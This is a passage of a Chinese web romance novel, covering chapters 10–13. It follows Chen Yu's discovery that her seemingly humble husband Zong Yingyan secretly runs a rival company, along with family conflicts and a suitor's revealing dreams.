倒是奇了,在商场上厮杀几年的竟然没有半分铜臭味,举手投足都是风度与贵气。
周况竟将椅子挪了挪,坐在她旁边:“想什么,这么入神。”
陈妤:“有些事情想不通。”
“之前的事是我行事不磊落。”周况竟见她似乎毫无芥蒂毫无芥蒂的模样,心上并不觉得轻松。
陈妤:“都过去了,这次我来是想向你打听一桩旧事,有关你二叔的。”
“可以,不过既然是家丑,无关人士怕是不方便在场。”这话是含笑对着赶来的宗英宴说的,周况竟点头致歉,“望你谅解,我和陈妤需要找一个安静的地方说这件事。”
宗英宴看向陈妤,柔声询问:“是这样吗?”
她如实回答:“嗯,我很快回来。”
陈妤起身,离开的刹那,手腕被拉住,没来得及反应,面前骤然投下一片高大暗影,唇上是熟悉的味道。
宗英宴捧着她的脸,痴迷含吮,那双深渊一样的眼瞳掠过陈妤,直直看向她身后意图窥伺的周况竟,带着雄性天然的威胁和驱逐。
末了,他擦去她唇角的湿迹。
“去吧。”
周况竟
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将她带到庭院闲置的一处茶室。
他刻意忽略她唇色的齿痕:“你想知道些什么?”
陈妤没跟他客气:“我想知道你二叔当年逃婚私奔国外,生下那个孩子最后怎么样了?”
“没了。我爷爷向来重诺,故人托孤,他早就应承了给我二叔做老婆。后面的事情你大概也有所耳闻,他和一位普通女人相恋,和家里闹翻了也没放弃,甚至私奔到国外。”周况竟说不清对那位二叔是敬佩,还是要像家族里人的人一样对他报以鄙薄。
“最后两人还是被找到了,我二叔被强压着回国和二婶结婚。那个女人也被赶出了乌市,听说在生产时羊水栓塞,小县城的医院来不及救人就没了。孩子也没保住,死了。”
不,大概率没死,陈妤私底下查过那个医院,前几年曝出院长亲自带头参与贩卖婴儿,那时一个孤苦伶仃的女人独自生产,是最好不过的下手对象。
她又问:“我可以看看你的玉牌吗?”
周家旗下是有玉石原料加工厂的,有孩子出生时则会挑选当年最好的一块玉料雕琢成玉牌。
“可以。”周况竟解下红绳,将犹带体温的玉牌放在她手上,温润雅致的脸上挂着半真半假的笑,“送你也可以。”
“我就是看看。”陈妤走到窗口,对着光仔细看着纹路,刻着的是麒麟,她记得梦里那块玉牌刻着的是白泽。“如果二叔有孩子,图纹应该刻的是什么?”
“按照排序,轮到白泽、朱雀。”周况竟抬头,看向陈妤:“如果当时你遵守婚约嫁进来,按照我们家的传统,这块玉牌会转赠给你。”
“是我失约。”
陈妤点头,很好脾气应下他的控诉,三年了,她早以为他忘记这事了,没想到还记着。
“这不是失约的小事。”周况竟步步逼近,不过一瞬间,高大的身躯欺身过来,陈妤抬手用力推搡他的胸膛,他却直接钳住她的双手反剪到身后。“我一直想问你,我是哪里比不上宗英宴,你为了他和我退婚?”
灼热的气息喷洒在她脸上,陈妤没躲,目光不见慌乱,一如既往平静淡然。
“我爱他。”她陈述着事实,“婚约是陈枭和你爷爷订下的,只要我不愿意,谁也强迫不了我。”
周况竟宁愿她是不甘心被家族摆布一时叛逆,也不愿听陈妤亲口承认爱上了宗英宴的事实。
压了又压,那张君子面皮终究没有维持住,他扣着陈妤的下巴就要压上去。
重重的一声‘啪’响彻整个房间,周况竟脸上挨了一巴掌。
陈妤嫌不够,趁他没反应过来,反手又是一巴掌。
周况竟被打醒,张了张唇想说些什么,窗外传出些细微的动静,似乎有人朝这边走过来。
他眼疾手快将陈妤拉到屏风另一侧,捂住她的唇,呼吸声和心跳声交织。
“别说话。”
有人停在窗边,一口流利的伦敦腔,时不时冒出几个专业术语。
挂了又打,这次换了法语。
短短十分钟,切换了四种语言。
身前的人怔住,周况竟知道陈妤听出了来人的声音。
他恶劣凑近她的耳边,低声说:“你的丈夫不像表面老实。”
11. 第 11 章
‘呃—’
周况竟唇边溢出一声痛呼,颧骨迅速高肿起来,再看不知用了什么身法挣脱他的辖制又迅速给了他一拳的陈妤礼裙未乱,淡定自若,霜雪一样白的皮肤在琉璃窗下近乎透明。
窗外另一道人影逐渐远去。
陈妤捋了捋腰间的挂饰,这才抬眼看他,脸上没有他预想的错愕、愤怒。
“落子无悔,装出我喜欢的样子,也算是他的本事。”
周况竟满心期待两人生出隔阂,分崩离析,却不料陈妤浑然不在意,不在乎。
他额上绷现青筋,咬牙恨道:“你不和他离婚?”
陈妤拿看傻子眼神看他,以前常听家里长辈夸他君子端方,温润雅致,现在怎么也学得跟个长舌妇一样乱嚼舌根子。
不过好歹他刚和她揭露了家丑,得到有用的消息下陈妤还是十分好脾气回答:“这不会成为我和他离婚的理由。”
“哪怕他骗了你,另有身份?”
“是。”
陈妤推开门,神色如常走出去。
身后周况竟癫乱狂笑,颓然跪地。
-
回程路上,陈妤一直忙于处理积攒的文件,目光专注,连眼角余光都没有分给一旁同坐的宗英宴分毫。
她性子霸道,强烈,眼里向来容不下沙子。
宗英宴骗了她,陈妤可以原谅,但前提是她得知情,而不是由一个外人来告知。
坦白从宽,在她这里一向适用。
他的小妻子似乎生气了。
宗英宴后悔了,他不该以这种弱势形态出现在她面前,心爱的妻子自然是要将她牢牢控在掌心,让她所喜所念都是他才对。见不得人的肮脏心思不过一瞬,他又收拢回去。
还不是时候。
他微微凑近陈妤脖子嗅了嗅,然后笑了,眼神凉得像条经年不化的冰川贴在她身上,很好,又是野男人的味道。
宗英宴的唇贴上她的颈总动脉,细听血管冲击心脏搏动的声音:“你刚才和周况竟说了什么?”
陈妤笑:“他问我什么时候和你离婚。”
宗英宴啮咬陈妤的耳朵,抬起头,俊脸生艳,唇上发亮,情绪全掩在密长睫毛下:“那你是怎么回答他的?”
陈妤的目光这才从笔记本移开,不甚在意触到他的眼睛,那里深不见底,清晰有着她的倒影,看见了却让人浑身战栗。
和他平日给她的感觉截然相反,十分违和。
她的丈夫大概率真的欺骗了她。
陈妤手指下移,摸他喉结,唇形都不动一下:“我说让他先排队。”
宗英宴脸上有瞬间的情绪空白,那是大脑获悉外界刺激来不及处理信息最直接的应激反应。
他眼瞳微震,蜷缩在身侧的手指不自觉发颤:“你说真的?”
陈妤还是笑,只是没有多少哄他的意味:“骗你的。”
说的时候手上仍在处理工作,在他眼里天大的事情还比不上她手头的工作。
书上说女人变心第一步,通常会体现在情绪层面的剥离,减少夫妻间的回应。=
这道拉大的距离一直持续到了晚上,宗英宴特意换上了初见陈妤时那身白绸,照明全换上烛光,光线迷离的主卧里熏香迷离,空气中都弥漫着暧昧的火星子。
他急于用身体笼络,讨好、挽回妻子的心。
一直到蜡烛燃尽,深秋的夜里满室冷清,宗英宴斜倚床上,热烈的玫瑰花瓣凌乱铺满了他冷白的皮肤,禁忌、鬼魅一样的画面。
陈妤推门进来看见这一幕,面色情绪波动一瞬,反常地没有给予回应,只是淡淡挪开眼睛。
“穿上吧,今天没有心情。”
她掀开被子躺了进去,疲惫忙碌一天却没有立即陷入睡眠,反而绕有兴致拨通大洋彼岸的电话。
“Etjevoulaistetéléphoner,pourtedirequ''ilfaisaitbeau,etquejet''aimaismeonaimel''espoiretlacertitude.”
是加缪的《情书集》,我想给你打电话,告诉你天气晴朗,告诉你我爱你就像人们爱希望和爱确定一样。
慵懒迷人的法语腔调从那张他吻过千万遍的红唇吐出,却是在和别的男人调情。
宗英宴浑身冰冷,血液仿佛停止了流动不再供应热量,霜意浸染眉眼,绷得僵直的背脊弯成蓄满力的弓,他小心翼翼地询问:“沉鱼,很晚了,我们该睡觉了。”
陈妤厌厌看了他一眼,比了个噤声的手势,很久,她才放下手机,背对着他合上眼。
宗英宴绷紧的弦断裂,钢丝刺进心里。
“你和人在聊什么。”
“工作上的事情,你不懂。”
凌晨4点,陈妤翻了个身,习惯性往另一侧探去,触手摸了个空。
她睁开眼,身旁空空。
陈妤摸上他的枕头,满手冰冷的湿润。
空旷的别墅,低低的呜咽声从地下酒窖传来。
陈妤赤着脚,走在木地板上悄无生息。
隔着酒柜,她听见他在控诉:“沉鱼不要我了,她变心了,骗子,大骗子。”
语句颠倒,混乱,重复,像个孩子一样受了委屈颠三倒四跟人告状。
视屏画面里,宗父宗母穿着昂贵的丝绸睡衣,房子装修华丽,光是顶上那盏水晶灯就要八千万。
宗父恨铁不成钢:“男人没有事业,光有贤惠一张脸有什么用,迟早被抛弃,丢人现眼的玩意儿。”
他话放得狠,实际上大半夜接到亲儿子哭得岔气的电话又气又心疼,他恨不得将朗星天宸双手捧着送给陈妤,求求她看在他年过半百才得这么一根独苗的份上对他儿子好点。
实在不行,他腆着老脸去春日给她卖命都行。
宗母则显得冷静多了:“过日子就是要睁只眼闭只眼,小妤只是犯了女人都会犯的错,你大度点忍忍就过去了,实在不行,你就跟小妤坦白,咱家这家世,让你坐稳正宫的位子还是没问题的。”
宗英宴已经听不进去了,胡乱躺在满地混乱的酒瓶中,嘴里呢喃着陈妤的名字。
她不知道,远在梨园之前,他就认识她了。
远离衣香鬓影的宴会中心,她随意撕了累赘的高定礼裙,赤着脚漫步林间,手里拎着把二胡,分明是哀怨的曲调,却谱出一场无边风月,仿佛世界都匍匐在她脚下。
就一眼,从此他跌落情海。
宗英宴怀疑自己醉了,不然怎么会看到陈
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妤朝他走过来。
陈妤蹲下.身子,摸着他滚烫醉意的脸,也跟着难受起来。
她甩了他一巴掌,然后吻上他的唇。
所以为什么要骗她?
宗英宴再次醒来是在床上,浑身赤.裸,周身留有情.事餍足过后的舒爽。
这种感觉……他被享用过了。
浴室里传来水流声,陈妤还没去公司。
不多一会儿,她走出来,浴袍没系好,漏出来的大片皮肤遍布红痕,抬眸看向他,眼神淡,声音也淡,不过却比昨天好上许多。
“老头子让我去老宅一趟,今天你不用去公司,好好在家休息。”
陈妤不是毫无芥蒂,做不到对他和从前一样温情,不过昨天宗英宴哭红的眼睛仍是让她心软了,她可以试着原谅他的欺骗。
宗英宴哑着嗓子:“好。”
她出了门,他便迅速让人跟上监视。
他眼底收敛着的阴鸷又尖锐的戾气全然释放,不信陈妤会突然变心,外边的小三小四他一个都不会放过。
-
和李先生的见面还是传到了陈枭的耳朵里,陈妤没想隐瞒,却也没料到他会随时找人盯着她。
想起那通电话里老头子隐藏不住的妒意,她甚至觉得有些好笑,要是真论个先后,他才是抢了妈妈的那个后来者。
进了家门,陈枭带着浑厚怒气的声音喝令她:“跪下。”
农初霁被这声音吓了一跳,反应过来小声哀求着:“小妤还小,她什么都不知道。”
“凭什么?就因为我和李先生见面说了几句话?”陈妤连膝盖骨都没弯一下,“那点陈芝麻烂谷子的事,除了您没人在意。”
陈枭拿过藤条在手上掂量,他训诫过许多人,唯独陈妤,他自始至终没舍得动过。
“凭你是我女儿。”
陈妤笑了下:“如果是这个理由,我无话可说,毕竟我也不想当。”
这话触及逆鳞,陈枭危险眯着眼睛,高举起藤编就要打下来。
见他不似开玩笑,农初霁又急又怕,嘴上更是口不择言:“你要是敢打我女儿,我就和你离婚!”
闻言,陈枭猝然掉转头,眉头紧缩,面无表情死死盯住她:“你再说一遍。”
“哼,再说一遍,就说一遍嘛。”农初霁感受到危险的气息,昏沉沉的脑袋闪过清明,声音不自觉小了起来,“我就是开个玩笑,谁让你要打我女儿。”
陈枭长臂前伸,抓过小妻子到身前:“玩笑?”
他锋利的眼威严如山:“你也是缺少管教了,什么话都敢说。”
农初霁不敢和他对视,只能小嘴嘀嘀咕咕骂他。
陈妤趁机抢了藤编,咔咔两下折断扔远:“凭什么不敢,您照照镜子,没有女人会喜欢坏脾气又糟糕的男人,人需自省,留不住人是您没本事。”
正厅内气氛凝结,脾气相似的两父女无形对抗。
农初霁大气都不敢喘,越是不敢喘气,越是喘不上来气。
她紧攥住领子,胸口剧烈起伏,喉咙像是被堵住,每一下呼吸都极为费劲,伴随着‘呼呲呼呲’的声响。
强烈的濒死窒息感袭来,极度的缺氧让她的脸和嘴唇都变成紫绀色。
“救,救我……”
12. 第 12 章
农初霁艰难呼吸:“我……我哮喘……犯了,去……医院。”
“我知道,别害怕。”
陈枭抱着怀里的人大步往里走,将人放在沙发上,手指在墙上按了一下开关,巨大的储物空间打开。
他将氧气瓶的阀门打开,调到高流量吸氧,给农初霁戴上氧气。
“我去拿药。”
怕农初霁发病,老宅几步路就有一瓶急救药。
陈妤很快将万托林拿过来,摇了摇往农初霁嘴巴里放。
农初霁失了力,整个人往后倒,无神的眸子看着陈妤手里拿着什么摇了摇,然后往她嘴巴里放。
她的身体软得像泥,陈枭只能将她拢在自己怀里,扶住农初霁歪倒的头。
“用力吸。”
农初霁几乎丧失了意识,听不见他说话,费了好大劲儿攒足力气用力吸了一口。
喉头的窒息感瞬间得到极大的缓解,呼吸渐渐平稳。
陈枭往农初霁手指上夹住血氧夹,等着血氧指数往上升到平稳值。
专车和救护人员已经在门口准备就绪,哪怕在家里农初霁也能得到很好的疗养,但两人都心知肚明她不愿待在家。
这是农初霁极少数被允许外出的机会,因着她病了的由头,陈枭只能松了牵丝绳,放她短暂自由。
大医家医院。
农初霁躺在病床上,平喘的药物顺着输液管流入体内病情逐渐平稳。
隔着探视窗,陈妤看见陈枭大手攥住输液管,试图用自身体温加热冰凉的液体,刚硬的眉目只能从极微小的细枝末节推测出来他掩饰不住的心疼。
她看不下去,让人拿进去一个热水袋。
陈枭将农初霁的手放进去热水袋,却还维持着原先的动作。
闻经纶从身后走过来:“哮喘病人每次发作都会对肺功能造成不可逆损伤,伯母身体向来照顾精细,这次是因为什么原因发病?”
陈妤烦躁碾了碾脚尖:“因为我和老头子在吵架。”
“情绪激动的确会诱发哮喘发作。”闻经纶语气温和,“上次我跟你提过阿姨心理方面的问题你怎么想?”
“我去问过外公外婆,妈妈从小顺风顺水,去港城之前并没有遭遇什么挫折。”陈妤眉心微蹙,“如果放任不管会怎么样?”
“最差的结果你应该能猜到,每年死于心理疾病原因的人不再少数。”闻经纶攀上她的肩膀,隔着层薄薄的布料,感受着掌心下的触感,骨肉匀称,硬度、厚度、骨骼走向,一丝一毫都完美到极致,当真一副美人骨。
他推了推眼镜,实际上闻经纶并不近视,眼镜于他而言不过是和善的面具。
“最好的治疗方式应该让阿姨远离诱发因素。”闻经纶凝视着她,视线柔得像水一样拂过她焦灼的心,“如果你信得过我,我可以每周两次上门给阿姨做心理治疗。当然,作为朋友我可以徇私,恭候小陈总莅临指导。”
农初霁发病的根源和诱发因素毋庸置疑是陈枭。
事情不能拖了。
陈妤轻轻眯了下凤眼:“好,出院后我会将妈妈接到栖凤湾,到时候就麻烦你了。”
栖凤湾,她和宗英宴的婚房。
闻经纶沉笑了下,他想踏足很久了。
“上次忘记告诉你,阿姨恐高,应当是PTSD后遗留下的应激障碍。”
陈妤想起农初霁闺房里柜子摆放的攀岩冠军奖牌,恐高吗?
她直直将目光锁定陈枭的背影,有些事情老头子才是最清楚的人。
医院长廊,深秋夜里寒意渗人,父女隔着不远不近的距离对峙。
陈妤第一次将问题挑明:“当时您有没有用权势强行逼迫了妈妈?”
陈枭唇线绷得紧直,狠狠闭上眼睛,睁开已然恢复清明:“不管你信不信,一切都是你妈妈先开始的。”
陈妤敏锐摸到华点:“后来妈妈退缩了,您不肯放手是吗?”
“呵。”陈枭逼视她,“换做是你,你会放手吗?”
“我看过妈妈的日记,她和李先生在一起时很开心,鲜活又明媚。”陈妤话锋一转,对上他语气难免多几分指责,“但是跟您在一起,妈妈只有恐惧,空洞,难过。”
她继续说:“您看过她现在的画吗?血腥、暴力、荒凉,她以前是攀岩冠军,现在却变得恐高。她以前最爱笑,您有多久没见过她笑过了?”
不知道是哪个字眼戳中陈枭死穴,他罕见没有反驳训斥她,一贯冷心冷肺的人突然红了眼,全然崩溃,歇斯底里,有隐忍压抑至极。
他扶着墙,高大的身子一点点往下滑,支撑不住似的蹲下了身,嘴里呢喃:“她恐高,恐高吗?”
陈妤看着老头子鬓角发根的白色,恍惚想起他的头发在她6岁那年初见时已经白了,后边大概是为了衬得起农初霁,才每隔一段时间去染黑发。
“不管您愿不愿意,这次出院后我会将妈妈接到栖凤湾疗养。”她最后劝陈枭一句,“如果您心里有她,就此放手吧。”
-
陈妤驱车赶回公司。
她发现自己一直忽视了关键点。
那些获悉的剧情里,每件事情陈妤只看到了结果,其中的起因、经过、转折她一概不知,并且每次出发剧情的契机都出现在饶青临身上。
比如说饶青临是怎么认祖归宗,跳过周况竟一跃成为周家继承人?
凡妮莎将资料递给她:“这次的会议说是朗星天宸的晏总在国外出差赶不回来,会以线上视频的形式出现。”
陈妤不置可否:“不用管他,这次汇报的还是饶青临吗?”
凡妮莎有一瞬间的怔愣,这是小陈总除了宗先生第一次关心其余男人的存在,看来公司里的传闻并不是空穴来风。
“还是他。”
会议即将开始时,朗星天宸的周秘书打开笔记本电脑连接设备,另一侧的外接摄像头却是对准了陈妤。
陈妤转动的笔尖停下,在空白的纸张划出流畅的痕迹:“我脸上生花?值得你们晏总去研究?”
“小陈总说笑了。”周秘书态度恭敬,“只是我们晏总比较迷信,找人算过了这个方位最利他。”
红颜未老恩先断,他家少爷快要被打入冷宫了,盯紧一点有什么错。少爷交代过了,凡事陈
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妤和饶青临同框出现,一定要严防死守,不给狂徒一丝一毫偷家的机会。
陈妤似笑非笑:“朗星天宸在你们晏总带领下能走到今天这地位,不简单啊。”
周秘书:“您过誉了,比不上春日。”
大概是上次撕破了脸皮,在场几十位高管、董事,饶青临全程只盯着陈妤一个人。
陈妤倒是没有看他,她在等待剧情的降临。
直至会议结束,脑海里仍然一片平静。
她揉了揉额头,不禁疑惑,莫非要肢体接触才能获得剧情。
这样一番动作,落到直对她的摄像头另一侧,则是在预示着即将发生的事情。
“会议暂停,小陈总身体是有什么不舒服吗?”
显而易见的AI模拟男声,不仅是被点名的陈妤,在场的人都是一愣,不露脸也就算了,连声音都是合成莫名让人觉得诡异。
陈妤蹙眉,似乎没听闻这位晏总存在见不得人的隐疾。
“我没事。”
周秘书解释道:“我们晏总前不久刚做了咽喉部的手术,暂时还说不了话。”
那道带着电流颤音的合成声音继续响起:“为了表彰和激励优秀员工,我司决定团队负责人饶青临做出以下表彰,对其父母及 兄弟姐妹无条件安置工作岗位,破解异地分局难题,岗位薪资和我司正常招录员工一致。”
陈妤这才抬头看饶青临一眼,果然那张清冷如玉的脸上阴沉至极。
这样的条件放在其他人身上或许是天大的馅饼,毕竟朗星天宸非Top9进不去,不过对于饶青临这种好不容易逃脱原生家庭的人来说无疑是灾难。
饶青临:“晏总过于抬爱了,这样做怕是会对其他正常求职的人不公平,这本来就是我的份内工作,奖励就不用了。”
麦克风传来漫不经心的钢笔敲击桌面的声音,那头的人明显听见了,却始终没有回答。
或者说,不屑回答。
因为在场的人似乎都听到了那声似有若无的冷笑。
周秘书笑了下,代为回答:“这是晏总深思熟虑的决定,你的家人在昨天已经办理入职手续,相应的住所也已经安排在你对面,方便你们一家人相亲相爱。”
饶青临笑意不达眼底:“那真是感谢晏总了。”
自然知晓书中自己的结局,陈妤自认为和饶青临处于敌对状态,倒是乐见其成他遭难。
没有触发剧情,她只让人盯着饶青临。
没过几日,凡妮莎告诉她饶青临的父亲酒后吐真言,逢人便吹牛自己当年花了六千块钱就买回来一个好儿子,一人得道鸡犬升天,带着全家过上了好日子。
同事报了警,顺藤摸瓜牵扯出当年的一系列时间,电视台争相报道,连带着饶青临生母的消息也从医院档案里被挖了出来。
连续三天,霸榜微博热搜头条。
再见面时,那块陈妤梦里见过的白泽玉牌被带在了饶青临脖子上。
一切都朝着既定的剧情线发展。
饶青临第一次平视她,同时带来一个重磅消息。
“朗星天宸的晏总,姓宗。”
13. 第 13 章
晏总,
姓宗。
这句话指向性太强,陈妤脑子陷入茫然的空白。
“你当时看上了宗英宴什么?美丽的脸蛋,凄惨的出身,柔弱可怜的他?可是明明这些我也有。”饶青临步步紧逼,声音冷硬如刀,透着说不上来的沉郁,“他是假的,而我当时才是真的,你该看上我才是。”
崩溃的质问传入她耳朵里,陈妤只觉得喧嚣吵闹,大脑似乎自动屏蔽了他的话,未经转译就自动被归类到垃圾信息。
她失了分寸,脚步踉跄往外走。
陈妤需要一个独立,不被人打扰的空间去处理这件事。
与此同时,朗星天宸总裁办公室此刻陷入风雨欲来的风暴中。
周秘书没料到,周家唯一见过宗英宴真容的二少竟然是饶青临的亲生父亲,更是将这件事捅到了陈妤面前。
完蛋,他家少爷这下真要被打入冷宫了。
宗英宴眺望着窗外黑沉沉的乌云,意识恍惚,胸腔里的氧气仿佛消耗殆尽,窒息感越来越浓郁。
他骗了陈妤。
而现在,陈妤发现了。
他捧在手心里的雀儿要跑掉了。
既然被发现了,宗英宴除了慌乱,还有难以言喻的解脱和快意,血管在喷张、喧嚣。
他终于不用压制卑劣阴暗的心思了,可以肆意袒露那些见不得人的心思。
真好啊。
陈妤没想到,比宗英宴更先来到的是他的父母。
两人这次不用刻意扮演丑角,拿出了当年谈恋爱第一次见父母的架势,小学生坐姿,看着比幼童还乖。
宗父这次把家里的几个保险箱都带了过来,一股脑将所有东西呈现在陈妤面前:“小妤,和宗英宴合伙骗你是我们不对。这小子从小脑子就不好使,不爱走寻常路,我们不求别的,但求你看在这些东西的份上别抛弃他就好。”
陈妤沉默了几秒,看着眼前堆积如山的家产:“在您眼里,我是缺钱、图钱的人?”
宗母保养得宜的脸上堆起讨好的笑:“我们知道你不缺钱,这算是宗英宴的嫁妆,补上,随你处置。他既然进了你们家的门,生是你陈妤的人,死是你陈妤的鬼,你就原谅他这次吧。”
纤长的睫毛在陈妤面颊上投下淡淡的阴影,二老的姿态让她想起幼儿园仅有几次被欺负时,事后对方家长也是一副讨好、慌乱,全心全意为自家孩子收拾烂摊子。
这样的父母,是怎么养出宗英宴这个骗子的?
正想着,罪魁祸首推门而进,带着满身伤。
“怕你手疼,回来之前我让人打了我一顿。”宗英宴面容惨淡,扑通一声双膝跪地,深邃破碎的眸光紧紧锁住她,缓慢膝行,一点点挪到她脚边,将认错的姿态放得很低。
“结婚时你许诺过,会无条件原谅我一次犯错。沉鱼,你要允许我犯错。”
陈妤听着,审视他良久,只问一句:“宗英宴,骗我好玩吗?”
说完,也不需要他回答,转身上楼。
宗母上前踹了他一脚:“还不快去追。”
宗英宴踉跄起身去追。
主卧大床飘窗边上,两人结婚照以壁画的形式呈现,栩栩如生,让人爱不释手,每年宗英宴都会找人补色。
而此刻陈妤正拿着锋利的刻刀胡乱划花那幅画,一刀、两刀。
第三刀将要落下时,被一只手握住了。
宗英宴像似丧失了痛觉,空手牢牢握住刀刃,两股力量交锋,他浑然不在意皮肉被切割,以占据绝对主导的力度将刻刀抢了过去。
鲜红的血液落在纯白的地毯上,绽出一朵朵艳丽的血花。
“别动这幅画,上边有你和我,我很喜欢。”他低声祈求,在她冷凝的目光下摊开掌心,深可见骨的划痕,“够吗,不够我可以继续,只要你愿意原谅我。”
那把刻刀是陈妤专门淘来,又让人重新开了刃,比医用手术刀还锋利。
男人的手握着刻刀,挥臂向自己划去,这一次刀尖瞄准的方向是手腕上的动脉。
“够了。”
刀尖即将触及皮肤的刹那,陈妤握住他的手。
“再有下一次,我会和你离婚。”
离婚?
这个字眼很好点燃了宗英宴所有阴暗情绪,他重新将陈妤拥进怀里,还在淌血的掌心抚上她的脸,雪白的脸染上他的血,恍惚间有种血肉相融的错觉,惊心动魄的美丽。
“不会的。”
他会藏好自己,不会再让她发现。
她承受不住,那些比大海还磅礴的暗瘾和欲念。
家庭医生赶来,给宗
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英宴缝了12针针,他一边喊着疼,一边往陈妤怀里躲,眼尾泛着红,面上流着泪,浓烈的艳,破碎的冷。
陈妤一开始冷着脸没动,最后还是没忍住将手轻轻盖在他眼睛上。
比巴掌更先来的是妻子的香气。
她看不到的角落里,宗英宴眼底涌动着暗火,像夜色葳蕤下的火山,静寂而澎湃。
当晚,春日和朗星天宸官网微博同时官宣:是真爱。
配文是三年前两人的结婚证。
这次微博直接瘫痪,风头直逼娱乐圈顶流。
没了小可怜人设的辖制,宗英宴从陈妤的背后,走到和她并肩的位置。
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饶青临没想到戳穿宗英宴的诡计后,陈妤会这么轻而易举原谅他。
两姓联姻,不,甚至不是联姻。
他们是真爱。
多么可笑。
桌上酒瓶散落,紫红色的酒液蜿蜒成一道水流,滴滴答答顺着他的唇边滴落,饶青临酩酊大醉,意识恍惚间,他被拽进梦境。
是个美梦。
梦里有陈妤,她一见他就喜欢的不得了,就像她现在对宗英宴。
鲜花、豪车、别墅……
昂贵又精致的礼物流水一样送给他,那些现实里苦求不得的,在梦里唾手可得,陈妤在追求他。
饶青临心肝都在发颤,可他只能像个旁观者似的,眼睁睁看着梦境里的自己对陈妤的追求感到厌烦,一次又一次践踏她的真心,不为所动。
终于惹得陈妤发了怒,倚靠着优越的家世强迫他和她结婚。
可梦境里的他不知好歹,婚后冷落陈妤,甚至靠着她的信任窃取了她家里的产业,让陈妤净身出户。
最后在一个滂沱雨夜,陈妤重病缠身,孤零零死在街头,电闪雷鸣照亮她惨白的脸,面颊凹陷,容颜不再。
甚至没有人为她敛尸。
梦醒,饶青临满心惊惶,浑身冷汗,脸色惨白,过于真实的梦境定格在陈妤惨死的画面,他心都要跟着碎了。
都说梦是相反的,饶青临怀疑是他对陈妤执念太深,才会映射到梦境里。
一定是假的。
陈妤一定会长命百岁。
这么想着,他又继续睡了过去。
这次梦里又换了视角。